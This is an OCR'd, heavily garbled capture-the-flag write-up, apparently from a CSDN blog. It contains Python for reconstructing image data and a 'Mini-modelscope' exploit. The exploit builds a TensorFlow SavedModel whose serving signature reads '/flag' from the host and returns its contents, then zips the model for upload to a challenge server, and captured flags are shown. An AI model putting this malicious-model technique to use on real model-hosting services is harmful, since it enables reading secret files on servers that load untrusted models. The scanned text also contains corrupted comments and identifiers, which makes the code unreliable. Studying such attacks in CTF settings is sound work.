10 all_data = np.vstack((core_data, data))

11 class_count = len(core_data)

12

13 # Ft1: Sitng




14
15
16
17
18
19
20
21

22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

scaler = StandardScaler ()
all_data_scaled = scaler.fit_transform(all_data)

out_labels = np.full((all_data.shape[0],), -1)
out_labels[:256] = np.arange(256)

# &I EL T HEIT BB

dists = distance.cdist(all_data_scaled[256:], all_data_scaled[:256],
metric='euclidean')

nearest = np.argmin(dists, axis=1)

out_Tlabels[256:] = nearest

# WBELERS
unique, counts = np.unique(out_labels[256:], return_counts=True)
print ("SXFIEARL ", dict(zip(unique, counts)))

# EREXIF

file_data = bytes(out_labels[256:].astype(np.uint8))
print ("ERMXHEKE:", len(file_data))
print("XH&k:", file_data[:4].hex())
print("XHE:", file_data[-4:].hex())

with open("flag_debug.jpg", "wb") as f:
f.write(file_data)

print("X#%4EREN flag_debug.jpg")



' DASCTF{4l1 7h3s3_5tdrs 5h1n3 for yoU} .
- - " . '

-

L -

Mini-modelscope | solved
B L TNHBBccbEm? ?
https://blog.csdn.net/Aluxian_/article/details/151867798

SR

1

2

3

4

5

6

7  dmport os

8 dmport zipfile

9

10 try:

11 import tensorflow as tf
12 except Exception as e:
13 raise SystemExit("IBLEZE TensorFlow: pip install tensorflow-cpu\nfgiz: " +

(e))

14

15 OUT_DIR = "model_saved"


https://blog.csdn.net/Aluxian_/article/details/151867798

16
17
18
19
20
21
22
23
24
25
26

27
28
29
30
31
32
58
34
35
36

37
38
39
40
41

42
43
44
45
46
a7
48
49
50

51
52
53
54
55

56
57

ZIP_PATH = "model.zip"

#

if os.path.exists(OUT_DIR):
import shutil
shutil.rmtree (OUT_DIR)

if os.path.exists(ZIP_PATH):
os.remove (ZIP_PATH)

# 4 TF B9 serve R#: 7£ Graph FH3EEY /flag, #tRiR[E] tf.Tensor (dtype=tf.string)

@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1],
dtype=tf.float32)])
def serve_fn(x):

# tf.7o0.read_file @—TEHE(E, &[] tf.Tensor (dtype=tf.string, shape=())

data = tf.io.read_file("/flag")

# NRBE—LINEEZBES, BHERER (fh8) , HEYV /B [batch] Ez:

# 1) HiFFRHFRE string: E#FR[D] data

# 2) EFHRL batch LA (BAE [N,1]) , BILFE data #BE [N]

# FEITAIE data EEANSHAN batch size HHEIRIAIE

batch_size = tf.shape(x)[0]

data_vec = tf.repeat(tf.expand_dims(data, 0), repeats=batch_size)
[batch_size]

# 1B[O] dict, prediction 1R#FA shape [batch_size] HJ tf.string iKE

return {"prediction": data_vec}

# BRI TF signature (FEEERXHF) , EFNid %25 EEAEEEY SavedModel
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1],
dtype=tf.float32)])
def noop_fn(x):

batch_size = tf.shape(x)[0]

const = tf.constant('"MODEL_OK", dtype=tf.string)

vec = tf.repeat(tf.expand_dims(const, 0), repeats=batch_size)

return {"prediction": vec}

# 1RTF Module, #ZIUIE "serve" signature TN
class ModelModule(tf.Module):
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1],
dtype=tf.float32)])
def __call__(self, x):

return serve_fn(x)

module = ModelModule()

# shape

tf.saved_model.save(module, OUT_DIR, signatures={"serve": serve_fn, "noop":

noop_fn})

# T8N zip



58 with zipfile.ZipFile(ZIP_PATH, "w", compression=zipfile.ZIP_DEFLATED) as zf:

59 for root, dirs, files in os.walk(OUT_DIR):

60 for fname in files:

61 full = os.path.join(root, fname)

62 arcname = os.path.relpath(full, OUT_DIR)
63 zf.write(full, arcname)

64

65 print("SavedModel saved to:", OUT_DIR)
66 print("Zipped to:", ZIP_PATH)
67

O « C O QF%2 hitp//45.40.247.139:17989/upload

B mini LR VAT 3R A%

test value : tf.constant([[1.0]], dtype=tf.float32)

AEFT A )E AR SO model.zip

DITAES=0 HEHIE(THEE

# AR

result = signature(tf.constant([[1.0]], dtype=tf.float32))
print(result)

print("HIZEE ", result['prediction’].numpy())

HEBGE R

TS H: {'prediction': <tf.Tensor: shape=(1,), dtype=string, numpy=array([b'DASCTF{50260314281757247880504016911136}\n"'], dtype=object)>}
[b'DASCTF{50260314281757247880504016911136}\n" ]


















